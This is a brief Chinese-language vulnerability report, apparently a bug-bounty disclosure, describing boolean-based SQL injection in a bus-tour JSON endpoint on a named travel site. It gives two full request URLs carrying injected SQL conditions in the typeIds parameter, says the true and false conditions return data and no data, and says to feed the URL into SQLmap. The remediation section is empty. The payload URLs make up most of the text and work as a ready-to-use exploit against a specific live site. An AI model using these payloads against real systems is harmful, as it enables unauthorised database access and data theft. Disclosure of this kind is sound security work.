http://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=104--%20&iid=0.16461771167814732 有数据

http://www.ly.com/bustour/json/GetOpenedCityList.html?OrdTypeId=165&typeIds=155,156,157)%20and%20104=105--%20&iid=0.16461771167814732 没有数据

放入SQLmap中注入

漏洞证明: 部分测试的数据

修复方案: